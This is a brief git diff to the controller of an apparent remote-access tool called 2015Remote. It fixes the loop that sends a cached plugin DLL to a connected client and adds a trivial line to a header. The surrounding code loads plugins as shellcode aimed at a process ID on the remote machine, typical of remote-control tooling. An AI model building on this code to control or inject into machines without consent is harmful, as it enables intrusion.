diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 7eba6ae..8dc1eb4 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -5263,14 +5263,18 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) SAFE_DELETE(frpc); break; } + bool find = false; for (std::vector::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i) { DllInfo* dll = *i; if (dll->Name == info->Name) { // TODO 如果是UDP,发送大包数据基本上不可能成功 ContextObject->Send2Client(dll->Data->Buf(), dll->Data->length()); + find = true; break; } } + if (find) break; + auto dll = ReadPluginDll(PluginPath() + "\\" + info->Name, { SHELLCODE, 0, CALLTYPE_DEFAULT, {}, {}, info->Pid, info->Is32Bit }); if (dll) { Buffer* buf = dll->Data; diff --git a/server/2015Remote/WebPage.h b/server/2015Remote/WebPage.h index 28f91a5..c655be3 100644 --- a/server/2015Remote/WebPage.h +++ b/server/2015Remote/WebPage.h @@ -22,6 +22,7 @@ inline std::string GetWebPageHTML() { +